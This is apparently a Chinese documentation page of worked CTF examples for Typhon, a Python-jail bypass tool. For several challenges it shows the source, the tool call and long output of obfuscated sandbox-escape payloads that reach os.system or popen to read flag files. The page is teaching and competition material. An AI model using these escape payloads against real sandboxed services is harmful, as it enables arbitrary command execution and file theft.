EXAMPLE 示例

此页用于提供关于 Typhon 的一些实战例题。

PwnyCTF 2025-Pyjail 2

题目链接: https://ctf.sigpwny.com/challenges#Vault/Pyjail%202-633

 1#!/usr/bin/env python3
 2
 3#Flag is at /flag.txt
 4
 5def is_bad(user_input):
 6    banned = '"*\'`x'
 7
 8    for c in banned:
 9        if c in user_input:
10            return True
11
12    return False
13
14
15def main():
16
17    print("You wake up in the jail gym. Your head is still sore from the bonk.")
18
19    user_input = input('What do you have to say for yourself? ')
20
21    if is_bad(user_input):
22        print('Sorry, not good enough. Go back to jail.')
23        return
24
25    try:
26        exec(user_input)
27        print("Ok, we'll consider it.")
28    except:
29        print('Sorry, not good enough. Go back to jail.')
30
31
32if __name__ == '__main__':
33    main()

flag位于 /flag.txt 文件中。

注意到第25行存在执行函数: exec(user_input)。同时,此题目的WAF有且仅有 is_bad() 函数,其功能为检测用户输入是否包含 "'*`x

此处我们将执行行删去,换为对应的命令。

我们将 main() 函数改为:

 1def main():
 2
 3    print("You wake up in the jail gym. Your head is still sore from the bonk.")
 4
 5    user_input = input('What do you have to say for yourself? ')
 6
 7    if is_bad(user_input):
 8        print('Sorry, not good enough. Go back to jail.')
 9        return
10
11    try:
12        import Typhon
13        Typhon.bypassRCE('cat /flag.txt', banned_chr = '"*\'`x')
14        print("Ok, we'll consider it.")
15    except:
16        print('Sorry, not good enough. Go back to jail.')

运行,随意输入使得控制流进入 bypassRCE() 函数,即可得到flag(在 input() 时直接回车即可)。

You wake up in the jail gym. Your head is still sore from the bonk.
What do you have to say for yourself?

    .-')          _                 Typhon: a pyjail bypassing tool
   (`_^ (    .----`/
    ` )  \_/`   __/     __,    [Typhon Version]: v1.0.10
    __{   |`  __/      /_/     [Python Version]: v3.13.4
   / _{    \__/ '--.  //       [Github]: https://github.com/Team-intN18-SoybeanSeclab/Typhon
   \_> \_\  >__/    \((        [Author]: LamentXU <lamentxu644@gmail.com>
        _/ /` _\_   |))

WARNING [!] banned_chr should be a list, converting to list for compatibility.
WARNING [!] local scope not specified, using the global scope.
INFO [*] 7 paths found to directly getshell. Try to bypass blacklist with them. Please be paitent.
Bypassing (7/7): [===============================================================================>] 100.0%
INFO [+] directly getshell success. 49 payload(s) in total.
INFO [+] You now can use this payload to getshell directly with proper input.




-----------Progress-----------


directly input bypass(49 payloads found): help()


-----------Progress-----------


+++++++++++Jail broken+++++++++++


help()


+++++++++++Jail broken+++++++++++

此时,我们再远程环境中输入 help() 再利用 相应的技术 进行绕过即可 。

HNCTF 2022-calc_jail_beginner_level1

 1#the function of filter will banned some string ',",i,b
 2#it seems banned some payload
 3#Can u escape it?Good luck!
 4
 5def filter(s):
 6    not_allowed = set('"\'`ib')
 7    return any(c in not_allowed for c in s)
 8
 9WELCOME = '''
10_                _                           _       _ _   _                _ __
11| |              (_)                         (_)     (_) | | |              | /_ |
12| |__   ___  __ _ _ _ __  _ __   ___ _ __     _  __ _ _| | | | _____   _____| || |
13| '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__|   | |/ _` | | | | |/ _ \ \ / / _ \ || |
14| |_) |  __/ (_| | | | | | | | |  __/ |      | | (_| | | | | |  __/\ V /  __/ || |
15|_.__/ \___|\__, |_|_| |_|_| |_|\___|_|      | |\__,_|_|_| |_|\___| \_/ \___|_||_|
16            __/ |                          _/ |
17            |___/                          |__/
18'''
19
20print(WELCOME)
21
22print("Welcome to the python jail")
23print("Let's have an beginner jail of calc")
24print("Enter your expression and I will evaluate it for you.")
25input_data = input("> ")
26if filter(input_data):
27    print("Oh hacker!")
28    exit(0)
29print('Answer: {}'.format(eval(input_data)))

同上题,我们将 eval 所包含的行改为对应的绕过函数。将黑名单 "'`ib 作为 banned_chr 参数传入即可。(我们假设flag在 /flag

此题中,为了追求更好的演示效果,我们假设这个程序不支持后续的输入(否则 help 直接可以解出,可以查看 此题 的说明)。此处我们将 interactive 设置为 False

 1#the function of filter will banned some string ',",i,b
 2#it seems banned some payload
 3#Can u escape it?Good luck!
 4
 5def filter(s):
 6    not_allowed = set('"\'`ib')
 7    return any(c in not_allowed for c in s)
 8
 9WELCOME = '''
10_                _                           _       _ _   _                _ __
11| |              (_)                         (_)     (_) | | |              | /_ |
12| |__   ___  __ _ _ _ __  _ __   ___ _ __     _  __ _ _| | | | _____   _____| || |
13| '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__|   | |/ _` | | | | |/ _ \ \ / / _ \ || |
14| |_) |  __/ (_| | | | | | | | |  __/ |      | | (_| | | | | |  __/\ V /  __/ || |
15|_.__/ \___|\__, |_|_| |_|_| |_|\___|_|      | |\__,_|_|_| |_|\___| \_/ \___|_||_|
16            __/ |                          _/ |
17            |___/                          |__/
18'''
19
20print(WELCOME)
21
22print("Welcome to the python jail")
23print("Let's have an beginner jail of calc")
24print("Enter your expression and I will evaluate it for you.")
25input_data = input("> ")
26if filter(input_data):
27    print("Oh hacker!")
28    exit(0)
29import Typhon
30Typhon.bypassRCE('cat /flag', banned_chr = '"\'`ib', interactive = False)

运行,使程序进行到 bypassRCE() 函数即可:

-----------Progress-----------


directly input bypass(0 payload found): None
generator(0 payload found): None
type(1 payload found): type
object(2 payloads found): str().__class__.__mro__[1]
bytes(3 payloads found): type(str().encode())
builtins set(10 payloads found): vars()[chr(95)+chr(95)+chr(98)+chr(117)+chr(105)+chr(108)+chr(116)+chr(105)+chr(110)+chr(115)+chr(95)+chr(95)]
builtins module(24 payloads found): all.__self__
builtins(1 payload found): __builtins__
import(6 payloads found): getattr(all.__self__,chr(95)+chr(95)+chr(105)+chr(109)+chr(112)+chr(111)+chr(114)+chr(116)+chr(95)+chr(95))
load_module(7 payloads found): all.__self__.__loader__.load_module
modules(1 payload found): all.__self__.__loader__.load_module(chr(115)+chr(121)+chr(115)).modules
os(16 payloads found): all.__self__.__loader__.load_module(chr(111)+chr(115))
subprocess(16 payloads found): all.__self__.__loader__.load_module(chr(115)+chr(117)+chr(98)+chr(112)+chr(114)+chr(111)+chr(99)+chr(101)+chr(115)+chr(115))
uuid(16 payloads found): all.__self__.__loader__.load_module(chr(117)+chr(117)+chr(105)+chr(100))
pydoc(16 payloads found): all.__self__.__loader__.load_module(chr(112)+chr(121)+chr(100)+chr(111)+chr(99))
multiprocessing(16 payloads found): all.__self__.__loader__.load_module(chr(109)+chr(117)+chr(108)+chr(116)+chr(105)+chr(112)+chr(114)+chr(111)+chr(99)+chr(101)+chr(115)+chr(115)+chr(105)+chr(110)+chr(103))
codecs(16 payloads found): all.__self__.__loader__.load_module(chr(99)+chr(111)+chr(100)+chr(101)+chr(99)+chr(115))
warnings(16 payloads found): all.__self__.__loader__.load_module(chr(119)+chr(97)+chr(114)+chr(110)+chr(105)+chr(110)+chr(103)+chr(115))
base64(16 payloads found): all.__self__.__loader__.load_module(chr(98)+chr(97)+chr(115)+chr(101)+chr(54)+chr(52))
importlib(16 payloads found): all.__self__.__loader__.load_module(chr(105)+chr(109)+chr(112)+chr(111)+chr(114)+chr(116)+chr(108)+chr(105)+chr(98))
weakref(16 payloads found): all.__self__.__loader__.load_module(chr(119)+chr(101)+chr(97)+chr(107)+chr(114)+chr(101)+chr(102))
reprlib(16 payloads found): all.__self__.__loader__.load_module(chr(114)+chr(101)+chr(112)+chr(114)+chr(108)+chr(105)+chr(98))
sys(17 payloads found): all.__self__.__loader__.load_module(chr(115)+chr(121)+chr(115))
linecache(16 payloads found): all.__self__.__loader__.load_module(chr(108)+chr(105)+chr(110)+chr(101)+chr(99)+chr(97)+chr(99)+chr(104)+chr(101))
io(16 payloads found): all.__self__.__loader__.load_module(chr(105)+chr(111))
ctypes(16 payloads found): all.__self__.__loader__.load_module(chr(99)+chr(116)+chr(121)+chr(112)+chr(101)+chr(115))
profile(16 payloads found): all.__self__.__loader__.load_module(chr(112)+chr(114)+chr(111)+chr(102)+chr(105)+chr(108)+chr(101))
timeit(16 payloads found): all.__self__.__loader__.load_module(chr(116)+chr(105)+chr(109)+chr(101)+chr(105)+chr(116))
__import__2RCE(95 payloads found): all.__self__.__loader__.load_module(chr(111)+chr(115)).system(chr(99)+chr(97)+chr(116)+chr(32)+chr(47)+chr(102)+chr(108)+chr(97)+chr(103))


-----------Progress-----------


+++++++++++Jail broken+++++++++++


all.__self__.__loader__.load_module(chr(111)+chr(115)).system(chr(99)+chr(97)+chr(116)+chr(32)+chr(47)+chr(102)+chr(108)+chr(97)+chr(103))


+++++++++++Jail broken+++++++++++

Typhon-Sample Pyjail 1

本题目由此文档编写。

 1    # flag in env
 2    WELCOME = '''
 3    _     ______      _                              _       _ _
 4    | |   |  ____|    (_)                            | |     (_) |
 5    | |__ | |__   __ _ _ _ __  _ __   ___ _ __       | | __ _ _| |
 6    | '_ \|  __| / _` | | '_ \| '_ \ / _ \ '__|  _   | |/ _` | | |·
 7    | |_) | |___| (_| | | | | | | | |  __/ |    | |__| | (_| | | |
 8    |_.__/|______\__, |_|_| |_|_| |_|\___|_|     \____/ \__,_|_|_|
 9                __/ |
10                |___/
11    '''
12    import string
13
14    print(WELCOME)
15
16    print("Welcome to the python jail")
17    print("Let's have an beginner jail of calc")
18    print("Enter your expression and I will evaluate it for you.")
19    if __name__ == '__main__':
20        while True:
21            try:
22                suc = True
23                cmd = input("Enter command: ")
24                blacklist = ['__loader__','__import__','os','\\x','+','join', '"', "'",'2','3','4','5','6','7','8','9','subprocess','[',']','sys',
25                                    'pty','uuid','future','codecs','io','multi']
26                for i in blacklist:
27                    if i in cmd:
28                        print("Command not allowed")
29                        suc = False
30                        break
31                for i in cmd:
32                    if i not in string.printable:
33                        print("Command not allowed")
34                        suc = False
35                        break
36                if suc:
37                    print(eval(cmd, {'__builtins__':None, 'st':str}))
38            except KeyboardInterrupt:
39                break
40            except Exception as e:
41                print(f'e ==> {e}')
42                pass

可以看到该题目有如下限制:

  • 禁止使用 __loader____import__os\\x+join"'23456789subprocess[]sysptyuuidfuturecodecsiomulti 等字符。

  • 禁止使用除 printable 字符集以外的字符。

  • 命名空间为 {'__builtins__':None, 'st':str}

我们可以利用 Typhon 库中的 bypassRCE() 函数绕过限制。由于flag在环境中,我们执行 env 即可得到flag。

1import Typhon
2Typhon.bypassRCE(
3    'env',
4    local_scope = {'__builtins__':None, 'st':str},
5    banned_chr = ['__loader__','__import__','os','\\x','+','join', '"', "'",'2','3','4','5','6','7','8','9','subprocess','[',']','sys',
6                                'pty','uuid','future','codecs','io','multi']
7    )

小技巧

此处由于已经指定了命名空间,我们可以不在源代码上做修改,直接另起一个脚本调用 bypassRCE() 函数。但当题目没有指定命名空间时(即没有 local_scope 参数时),我们需要在源代码中调用 Typhon.bypassRCE() 函数。 假如你不确定的话,也可以只在源代码中调用。

执行上述代码,即可得到payload。

备注

对于复杂度较高的题目,可能需要等候较长时间。 想提升性能?

-----------Progress-----------


directly input bypass(0 payload found): None
generator(3 payloads found): (a for a in ()).gi_frame
type(2 payloads found): st.__class__
object(5 payloads found): ().__class__.__mro__.__getitem__(1)
bytes(2 payloads found): st.__class__(st().encode())
import(0 payload found): None
load_module(0 payload found): None
modules(1 payload found): ().__class__.__mro__.__getitem__(1).__subclasses__().__getitem__(110).__init__.__globals__.__getitem__(st.__doc__.__getitem__(0).__add__(st.__doc__.__getitem__(0b11011)).__add__(st.__doc__.__getitem__(0))).modules
builtins(3 payloads found): ().__class__.__mro__.__getitem__(1).__subclasses__().__getitem__(110).__init__.__globals__.__getitem__(st.__doc__.__getitem__(0b101).__add__(st.__doc__.__getitem__(0b100100)).__add__(st.__doc__.__getitem__(0b110001)).__add__(st.__doc__.__getitem__(0b11010000)).__add__(st.__doc__.__getitem__(1)).__add__(st.__doc__.__getitem__(0b110001)).__add__(st.__doc__.__getitem__(0b101101)).__add__(st.__doc__.__getitem__(0)))
sys(3 payloads found): ().__class__.__mro__.__getitem__(1).__subclasses__().__getitem__(110).__init__.__globals__.__getitem__(st.__doc__.__getitem__(0).__add__(st.__doc__.__getitem__(0b11011)).__add__(st.__doc__.__getitem__(0)))
os(2 payloads found): ().__class__.__mro__.__getitem__(1).__subclasses__().__getitem__(110).__init__.__globals__.__getitem__(st.__doc__.__getitem__(0).__add__(st.__doc__.__getitem__(0b11011)).__add__(st.__doc__.__getitem__(0))).modules.get(st.__doc__.__getitem__(0b100).__add__(st.__doc__.__getitem__(0)))
codecs(2 payloads found): ().__class__.__mro__.__getitem__(1).__subclasses__().__getitem__(110).__init__.__globals__.__getitem__(st.__doc__.__getitem__(0).__add__(st.__doc__.__getitem__(0b11011)).__add__(st.__doc__.__getitem__(0))).modules.get(st.__doc__.__getitem__(0b1000).__add__(st.__doc__.__getitem__(0b100)).__add__(st.__doc__.__getitem__(0b110000)).__add__(st.__doc__.__getitem__(0b111)).__add__(st.__doc__.__getitem__(0b1000)).__add__(st.__doc__.__getitem__(0)))
warnings(2 payloads found): ().__class__.__mro__.__getitem__(1).__subclasses__().__getitem__(110).__init__.__globals__.__getitem__(st.__doc__.__getitem__(0).__add__(st.__doc__.__getitem__(0b11011)).__add__(st.__doc__.__getitem__(0))).modules.get(st.__doc__.__getitem__(0b1010100).__add__(st.__doc__.__getitem__(0b1001100)).__add__(st.__doc__.__getitem__(0b10)).__add__(st.__doc__.__getitem__(0b101101)).__add__(st.__doc__.__getitem__(0b110001)).__add__(st.__doc__.__getitem__(0b101101)).__add__(st.__doc__.__getitem__(0b110011)).__add__(st.__doc__.__getitem__(0)))
importlib(2 payloads found): ().__class__.__mro__.__getitem__(1).__subclasses__().__getitem__(110).__init__.__globals__.__getitem__(st.__doc__.__getitem__(0).__add__(st.__doc__.__getitem__(0b11011)).__add__(st.__doc__.__getitem__(0))).modules.get(st.__doc__.__getitem__(0b110001).__add__(st.__doc__.__getitem__(0b1100111)).__add__(st.__doc__.__getitem__(0b10010101)).__add__(st.__doc__.__getitem__(0b100)).__add__(st.__doc__.__getitem__(0b10)).__add__(st.__doc__.__getitem__(1)).__add__(st.__doc__.__getitem__(0b11010000)).__add__(st.__doc__.__getitem__(0b110001)).__add__(st.__doc__.__getitem__(0b101)))
reprlib(2 payloads found): ().__class__.__mro__.__getitem__(1).__subclasses__().__getitem__(110).__init__.__globals__.__getitem__(st.__doc__.__getitem__(0).__add__(st.__doc__.__getitem__(0b11011)).__add__(st.__doc__.__getitem__(0))).modules.get(st.__doc__.__getitem__(0b10).__add__(st.__doc__.__getitem__(0b111)).__add__(st.__doc__.__getitem__(0b10010101)).__add__(st.__doc__.__getitem__(0b10)).__add__(st.__doc__.__getitem__(0b11010000)).__add__(st.__doc__.__getitem__(0b110001)).__add__(st.__doc__.__getitem__(0b101)))
linecache(2 payloads found): ().__class__.__mro__.__getitem__(1).__subclasses__().__getitem__(110).__init__.__globals__.__getitem__(st.__doc__.__getitem__(0).__add__(st.__doc__.__getitem__(0b11011)).__add__(st.__doc__.__getitem__(0))).modules.get(st.__doc__.__getitem__(0b11010000).__add__(st.__doc__.__getitem__(0b110001)).__add__(st.__doc__.__getitem__(0b101101)).__add__(st.__doc__.__getitem__(0b111)).__add__(st.__doc__.__getitem__(0b1000)).__add__(st.__doc__.__getitem__(0b1001100)).__add__(st.__doc__.__getitem__(0b1000)).__add__(st.__doc__.__getitem__(0b1101010)).__add__(st.__doc__.__getitem__(0b111)))
io(2 payloads found): ().__class__.__mro__.__getitem__(1).__subclasses__().__getitem__(110).__init__.__globals__.__getitem__(st.__doc__.__getitem__(0).__add__(st.__doc__.__getitem__(0b11011)).__add__(st.__doc__.__getitem__(0))).modules.get(st.__doc__.__getitem__(0b110001).__add__(st.__doc__.__getitem__(0b100)))
exec(0 payload found): None
__import__2RCE(1 payload found): ().__class__.__mro__.__getitem__(1).__subclasses__().__getitem__(110).__init__.__globals__.__getitem__(st.__doc__.__getitem__(0).__add__(st.__doc__.__getitem__(0b11011)).__add__(st.__doc__.__getitem__(0))).modules.get(st.__doc__.__getitem__(0b100).__add__(st.__doc__.__getitem__(0))).popen(st.__doc__.__getitem__(0b111).__add__(st.__doc__.__getitem__(0b101101)).__add__(st.__doc__.__getitem__(111))).read()


-----------Progress-----------


+++++++++++Jail broken+++++++++++


().__class__.__mro__.__getitem__(1).__subclasses__().__getitem__(110).__init__.__globals__.__getitem__(st.__doc__.__getitem__(0).__add__(st.__doc__.__getitem__(0b11011)).__add__(st.__doc__.__getitem__(0))).modules.get(st.__doc__.__getitem__(0b100).__add__(st.__doc__.__getitem__(0))).popen(st.__doc__.__getitem__(0b111).__add__(st.__doc__.__getitem__(0b101101)).__add__(st.__doc__.__getitem__(111))).read()
Reminder: index 0 of st.__doc__[0] must match the string literal s.
Reminder: index 4 of st.__doc__[4] must match the string literal o.
Reminder: index 7 of st.__doc__[7] must match the string literal e.
Reminder: index 27 of st.__doc__[27] must match the string literal y.
Reminder: index 45 of st.__doc__[45] must match the string literal n.
Reminder: index 111 of st.__doc__[111] must match the string literal v.
Reminder: 110 is the index of StreamReaderWriter, path to sys must fit in index of StreamReaderWriter


+++++++++++Jail broken+++++++++++

根据 reminder 信息稍微调整payload即可得到flag。

0xgame 2025 消栈逃出沙箱(1)反正不会有2

感谢 Pure Stream 对题的授权。

题目源码:

 1from flask import Flask, request, Response
 2import sys
 3import io
 4
 5app = Flask(__name__)
 6
 7blackchar = "&*^%#${}@!~`·/<>"
 8
 9def safe_sandbox_Exec(code):
10    whitelist = {
11        "print": print,
12        "list": list,
13        "len": len,
14        "Exception": Exception
15    }
16
17    safe_globals = {"__builtins__": whitelist}
18
19    original_stdout = sys.stdout
20    original_stderr = sys.stderr
21
22    sys.stdout = io.StringIO()
23    sys.stderr = io.StringIO()
24
25    try:
26        exec(code, safe_globals)
27        output = sys.stdout.getvalue()
28        error = sys.stderr.getvalue()
29        return output or error or "No output"
30    except Exception as e:
31        return f"Error: {e}"
32    finally:
33        sys.stdout = original_stdout
34        sys.stderr = original_stderr
35
36@app.route('/')
37def index():
38    return open(__file__).read()
39
40
41@app.route('/check', methods=['POST'])
42def check():
43    data = request.form['data']
44    if not data:
45        return Response("NO data", status=400)
46    for d in blackchar:
47        if d in data:
48            return Response("NONONO", status=400)
49    secret = safe_sandbox_Exec(data)
50    return Response(secret, status=200)
51
52if __name__ == '__main__':
53    app.run(host='0.0.0.0',port=9000)

这是一个由 Flask 框架构建的 pyjail web 挑战。我们不难注意到,此题目的 waf 有:

  • 对命名空间的限制

whitelist = {
    "print": print,
    "list": list,
    "len": len,
    "Exception": Exception
}

safe_globals = {"__builtins__": whitelist}
  • 对 payload 的黑名单限制

blackchar = "&*^%#${}@!~`·/<>"

由于这是一道web题目,我们不能控制程序的 stdin (即,类似于 input() , help() 的函数在此不适用)。因此,我们将 interactive 设置为 False

 1import Typhon
 2
 3Typhon.bypassRCE(
 4    "cat /*",
 5    local_scope={
 6        "__builtins__": {
 7            "print": print,
 8            "list": list,
 9            "len": len,
10            "Exception": Exception,
11        }
12    },
13    banned_chr= "&*^%#${}@!~`·/<>",
14    interactive=False,
15)

运行,我们可得:

-----------Progress-----------


directly input bypass(0 payload found): None
generator(3 payloads found): (a for a in ()).gi_frame
type(1 payload found): list.__class__
object(4 payloads found): "".__class__.__bases__[0]
bytes(3 payloads found): list.__class__(''.encode())
builtins set(2 payloads found): "".__class__.__bases__[0].__reduce_ex__(0,3)[0].__globals__['__builtins__']
builtins module(0 payload found): None
import(6 payloads found): "".__class__.__bases__[0].__reduce_ex__(0,3)[0].__globals__['__builtins__']['__import__']
load_module(6 payloads found): "".__class__.__bases__[0].__reduce_ex__(0,3)[0].__globals__['__builtins__']['__loader__'].load_module
modules(1 payload found): "".__class__.__bases__[0].__reduce_ex__(0,3)[0].__globals__['__builtins__']['__import__']('sys').modules
os(3 payloads found): "".__class__.__bases__[0].__reduce_ex__(0,3)[0].__globals__['__builtins__']['__import__']('os')
subprocess(3 payloads found): "".__class__.__bases__[0].__reduce_ex__(0,3)[0].__globals__['__builtins__']['__import__']('subprocess')
uuid(3 payloads found): "".__class__.__bases__[0].__reduce_ex__(0,3)[0].__globals__['__builtins__']['__import__']('uuid')
pydoc(3 payloads found): "".__class__.__bases__[0].__reduce_ex__(0,3)[0].__globals__['__builtins__']['__import__']('pydoc')
multiprocessing(3 payloads found): "".__class__.__bases__[0].__reduce_ex__(0,3)[0].__globals__['__builtins__']['__import__']('multiprocessing')
builtins(4 payloads found): "".__class__.__bases__[0].__reduce_ex__(0,3)[0].__globals__['__builtins__']['__import__']('builtins')
codecs(3 payloads found): "".__class__.__bases__[0].__reduce_ex__(0,3)[0].__globals__['__builtins__']['__import__']('codecs')
warnings(3 payloads found): "".__class__.__bases__[0].__reduce_ex__(0,3)[0].__globals__['__builtins__']['__import__']('warnings')
base64(3 payloads found): "".__class__.__bases__[0].__reduce_ex__(0,3)[0].__globals__['__builtins__']['__import__']('base64')
importlib(3 payloads found): "".__class__.__bases__[0].__reduce_ex__(0,3)[0].__globals__['__builtins__']['__import__']('importlib')
weakref(3 payloads found): "".__class__.__bases__[0].__reduce_ex__(0,3)[0].__globals__['__builtins__']['__import__']('weakref')
reprlib(3 payloads found): "".__class__.__bases__[0].__reduce_ex__(0,3)[0].__globals__['__builtins__']['__import__']('reprlib')
sys(4 payloads found): "".__class__.__bases__[0].__reduce_ex__(0,3)[0].__globals__['__builtins__']['__import__']('sys')
linecache(3 payloads found): "".__class__.__bases__[0].__reduce_ex__(0,3)[0].__globals__['__builtins__']['__import__']('linecache')
io(3 payloads found): "".__class__.__bases__[0].__reduce_ex__(0,3)[0].__globals__['__builtins__']['__import__']('io')
ctypes(3 payloads found): "".__class__.__bases__[0].__reduce_ex__(0,3)[0].__globals__['__builtins__']['__import__']('ctypes')
profile(3 payloads found): "".__class__.__bases__[0].__reduce_ex__(0,3)[0].__globals__['__builtins__']['__import__']('profile')
timeit(3 payloads found): "".__class__.__bases__[0].__reduce_ex__(0,3)[0].__globals__['__builtins__']['__import__']('timeit')
exec(32 payloads found): "".__class__.__bases__[0].__reduce_ex__(0,3)[0].__globals__['__builtins__']['__import__']('profile').run
__import__2RCE(1251 payloads found): "".__class__.__bases__[0].__reduce_ex__(0,3)[0].__globals__['__builtins__']['__import__']('os').system('\143\141\164 \57\52')


-----------Progress-----------


+++++++++++Jail broken+++++++++++


"".__class__.__bases__[0].__reduce_ex__(0,3)[0].__globals__['__builtins__']['__import__']('os').system('\143\141\164 \57\52')


+++++++++++Jail broken+++++++++++

使用上述 payload 读取根目录下所有文件(包含 /flag )。

备注

此题的预期解法为利用 Exception__traceback__ 获取生成器通过栈帧寻找 __builtins__。这涉及到多行绕过。

Typhon目前还不支持此类题解,类似的解法将在下一个版本中得到实现。

Typhon-Sample Pyjail 2

本题目由此文档编写。

 1# flag in /flag
 2WELCOME = '''
 3_     ______      _                              _       _ _
 4| |   |  ____|    (_)                            | |     (_) |
 5| |__ | |__   __ _ _ _ __  _ __   ___ _ __       | | __ _ _| |
 6| '_ \|  __| / _` | | '_ \| '_ \ / _ \ '__|  _   | |/ _` | | |·
 7| |_) | |___| (_| | | | | | | | |  __/ |    | |__| | (_| | | |
 8|_.__/|______\__, |_|_| |_|_| |_|\___|_|     \____/ \__,_|_|_|
 9            __/ |
10            |___/
11'''
12
13print(WELCOME)
14
15print("Welcome to the python jail")
16print("Let's have an beginner jail of calc")
17print("Enter your expression and I will evaluate it for you.")
18if __name__ == '__main__':
19    while True:
20        try:
21            suc = True
22            cmd = input("Enter command: ")
23            blacklist = '𝒶𝒷𝒸𝒹ℯ𝒻ℊ𝒽𝒾𝒿𝓀𝓁𝓂𝓃ℴ𝓅𝓆𝓇𝓈𝓉𝓊𝓋𝓌𝓍𝓎𝓏𝒜ℬ𝒞𝒟ℰℱ𝒢ℋℐ𝒥𝒦ℒℳ𝒩𝒪𝒫𝒬ℛ𝒮𝒯𝒰𝒱𝒲𝒳𝒴𝒵𝓪𝓫𝓬𝓭𝓮𝓯𝓰bcdefgjklnpqrstuvxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
24            for i in blacklist:
25                if i in cmd:
26                    print("Command not allowed")
27                    suc = False
28                    break
29            if suc:
30                print(exec(cmd, {'lit': list, 'dic': dict, '__builtins__': None}))
31        except KeyboardInterrupt:
32            break
33        except Exception as e:
34            print(f'e ==> {e}')

可以看到该题目有如下限制:

  • 禁止使用 𝒶𝒷𝒸𝒹ℯ𝒻ℊ𝒽𝒾𝒿𝓀𝓁𝓂𝓃ℴ𝓅𝓆𝓇𝓈𝓉𝓊𝓋𝓌𝓍𝓎𝓏𝒜ℬ𝒞𝒟ℰℱ𝒢ℋℐ𝒥𝒦ℒℳ𝒩𝒪𝒫𝒬ℛ𝒮𝒯𝒰𝒱𝒲𝒳𝒴𝒵𝓪𝓫𝓬𝓭𝓮𝓯𝓰bcdefgjklnpqrstuvxyzABCDEFGHIJKLMNOPQRSTUVWXYZ 等字符。

  • 命名空间为 {'lit': list, 'dic': dict, '__builtins__': None}

由第一行我们可知 flag 在 /flag。我们可以利用 Typhon 库中的 bypassREAD() 函数绕过限制。

此处,观察第 30 行,执行代码的函数为 exec,且题目开放报错的回显。由此,我们可得:

import Typhon
Typhon.bypassREAD(
    '/flag',
    RCE_method = 'exec',
    allow_unicode_bypass=True,
    is_allow_exception_leak=True,
    local_scope={'lit': list, 'dic': dict, '__builtins__': None},
    banned_chr= '𝒶𝒷𝒸𝒹ℯ𝒻ℊ𝒽𝒾𝒿𝓀𝓁𝓂𝓃ℴ𝓅𝓆𝓇𝓈𝓉𝓊𝓋𝓌𝓍𝓎𝓏𝒜ℬ𝒞𝒟ℰℱ𝒢ℋℐ𝒥𝒦ℒℳ𝒩𝒪𝒫𝒬ℛ𝒮𝒯𝒰𝒱𝒲𝒳𝒴𝒵𝓪𝓫𝓬𝓭𝓮𝓯𝓰bcdefgjklnpqrstuvxyzABCDEFGHIJKLMNOPQRSTUVWXYZ',
)

运行,即可解决题目:

-----------Progress-----------


directly input bypass(0 payload found): None
generator(0 payload found): None
type(1 payload found): ().__𝑐𝓵𝑎𝓼𝓼__.__𝑐𝓵𝑎𝓼𝓼__
object(9 payloads found): ''.__𝑐𝓵𝑎𝓼𝓼__.__𝓶𝓻𝓸__[1]
bytes(7 payloads found): ().__𝑐𝓵𝑎𝓼𝓼__.__𝑐𝓵𝑎𝓼𝓼__(''.𝑒𝓷𝑐𝓸𝑑𝑒())
builtins set(35 payloads found): ''.__𝑐𝓵𝑎𝓼𝓼__.__𝓶𝓻𝓸__[1].__𝓻𝑒𝑑𝓾𝑐𝑒_𝑒𝔁__(0,3)[0].__𝑔𝓵𝓸𝑏𝑎𝓵𝓼__['_'+'_'+𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__.__𝑐𝑎𝓵𝓵__(13)+𝓵𝓲𝓽.__𝑑𝓸𝑐__[1]+'i'+𝓵𝓲𝓽.__𝑑𝓸𝑐__[3]+𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__(4)+'i'+𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__(7)+𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__.__𝑐𝑎𝓵𝓵__(17)+'_'+'_']
builtins module(0 payload found): None
import(31 payloads found): ''.__𝑐𝓵𝑎𝓼𝓼__.__𝓶𝓻𝓸__[1].__𝓼𝓾𝑏𝑐𝓵𝑎𝓼𝓼𝑒𝓼__()[108].__𝓲𝓷𝓲𝓽__.__𝑔𝓵𝓸𝑏𝑎𝓵𝓼__[𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__.__𝑐𝑎𝓵𝓵__(13)+𝓵𝓲𝓽.__𝑑𝓸𝑐__[1]+'i'+𝓵𝓲𝓽.__𝑑𝓸𝑐__[3]+𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__(4)+'i'+𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__(7)+𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__.__𝑐𝑎𝓵𝓵__(17)].__𝓲𝓶𝓹𝓸𝓻𝓽__
load_module(25 payloads found): ''.__𝑐𝓵𝑎𝓼𝓼__.__𝓶𝓻𝓸__[1].__𝓼𝓾𝑏𝑐𝓵𝑎𝓼𝓼𝑒𝓼__()[108].__𝓲𝓷𝓲𝓽__.__𝑔𝓵𝓸𝑏𝑎𝓵𝓼__[𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__.__𝑐𝑎𝓵𝓵__(13)+𝓵𝓲𝓽.__𝑑𝓸𝑐__[1]+'i'+𝓵𝓲𝓽.__𝑑𝓸𝑐__[3]+𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__(4)+'i'+𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__(7)+𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__.__𝑐𝑎𝓵𝓵__(17)].__𝓵𝓸𝑎𝑑𝑒𝓻__.𝓵𝓸𝑎𝑑_𝓶𝓸𝑑𝓾𝓵𝑒
